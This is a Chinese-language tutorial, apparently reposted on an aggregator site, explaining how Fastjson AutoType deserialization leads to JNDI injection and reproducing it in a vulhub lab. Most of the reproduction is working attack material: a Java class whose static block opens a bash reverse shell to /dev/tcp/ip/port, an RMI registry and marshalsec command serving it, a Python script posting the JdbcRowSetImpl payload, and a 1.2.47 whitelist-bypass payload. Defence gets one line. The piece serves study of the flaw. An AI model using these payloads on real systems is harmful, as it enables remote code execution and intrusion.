Fastjson反序列化原理详解及复现

您所在的位置:网站首页 fastjson反序列化漏洞版本 Fastjson反序列化原理详解及复现

Fastjson反序列化原理详解及复现

2024-07-02 14:36| 来源: 网络整理| 查看: 265

1 环境搭建

本文采用vulhub下的fastjson环境

# docker-compose up -d

访问8090端口判断是否能够正常启动image.png

2 Fastjson漏洞原理0x01 Fastjson简介

Fastjson为阿里开源的一款json字符串处理库,主要操作包含将java对象转换为json字符串(序列化)以及将json字符串转换为java对象(反序列化)

常用方法

Json.toJSONString,将java对象转换为json字符串

Json.parseObject,将json字符串转换为java对象

0x02 漏洞原理

首先看如下伪码示例

interface Animal{ ... } class Cat implements Animal{ public String name; ... } class Dog implements Animal{ public String name; ... }

利用Fastjson将Cat和Dog转为Json字符串时,分别为如下情况(假设Cat.name="cat",Dog.name="Dog")

{"Animal":{"name":"cat"}}和{"Animal":{"name":"dog"}}无法区分具体类,换言之,当对接口类的子类序列化时,只会显示出接口类的名称,因此,出现AutoType

AutoType:在反序列化时指定@type字段,具体区别当前json字符串属于哪一类,添加后,上述字符串变为{"Animal":{"@type":"xxxx.Cat", "name":"cat"}}和{"Animal":{"@type":"xxxx.Dog", "name":"dog"}}

漏洞原理:当使用autotype时,反序列化过程中会调用该类的setter或getter方法,若@type字段被指定为恶意类,即可实现恶意代码执行等攻击

0x03 JdbcRowSetImpl链

RMI架构

registry,对外提供查询,维护server的方法映射

server,对外提供服务,注册给registry

client,请求远程方法调用,查询registry,调用server提供方法

原理分析

DataSourceName设置为RMI远程调用后,Fastjson反序列化时触发getDataSourceName

由于其中无值,进入setDataSourceName,及setAutoCommit

setAutoCommit中调用connect,connect中又调用lookup(DataSourceName),最终实现jndi注入

jndi注入RCE

Reference r = new Reference(refClassName, insClassName, url)

ReferenceWrapper rw = new ReferenceWrapper(r)

registry.bind(name, rw)

当client利用rmi请求资源时,registry给到一个reference,client会先在CLASSPATH中找对应的类(refClassName),找不到则请求url中的资源动态加载(.class),实例化时(insClassName)会调用static{}和构造函数,实现恶意代码执行

0x04 TemplatesImpl链

CC链中比较常用的一种,用于动态加载bytecode,实现恶意代码执行,此处不做详细分析

大致原理为从TemplatesImpl.getOutputProperties开始,最终走到defineClass加载字节码,实现类加载,如果加载恶意类,将实现代码执行攻击

3 Fastjson漏洞复现0x01 构建恶意类用于jndi注入import java.lang.Runtime; import java.lang.Process; public class ReverseShell { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"/bin/bahs","-c", "bash -i>& /dev/tcp/ip/port 0>&1"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } }

编译为.class文件javac ReverseShell.javaimage.png

开启http服务,使资源可以外部访问image.png

创建Registry,并开启registry服务

public class myregistry { public static void main(String[] args) { Registry registry = LocateRegistry.createRegistry(1099); Reference reference = new Reference("ReverseShell","ReverseShell","http://ip:port"); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("ReverseShell",referenceWrapper); } }

不知道为什么自己写的没有生效(悲~),最终用的marshalsecjava -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://ip:port/#ReverseShell" 9999image.png

0x02 漏洞利用

利用过程如下

kali侦听在对应端口

编写python脚本发送payload(因为java环境导致burp启动不了,所以只能编写python脚本,也可以用burp)

import json import requests url = '' headers = { 'Content-Type': 'application/json' } payload = { "b" : { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://ip:port/ReverseShell", "autoCommit": True } } requests.post(url, data=json.dumps(payload), headers=headers) print("done")

成功getshell,http、registry请求分别如下image.pngimage.pngimage.png

4 其他版本漏洞

1.2.47:1.2.24后引入白名单验证,可以通过TypeUtils.loadClass将JdbcRowSetImpl缓存,再执行payload为{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://ip:port/Exploit", "autoCommit":true } }第一个字段用于缓存,第二个字段用于利用

5 防御

升级至新版本



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3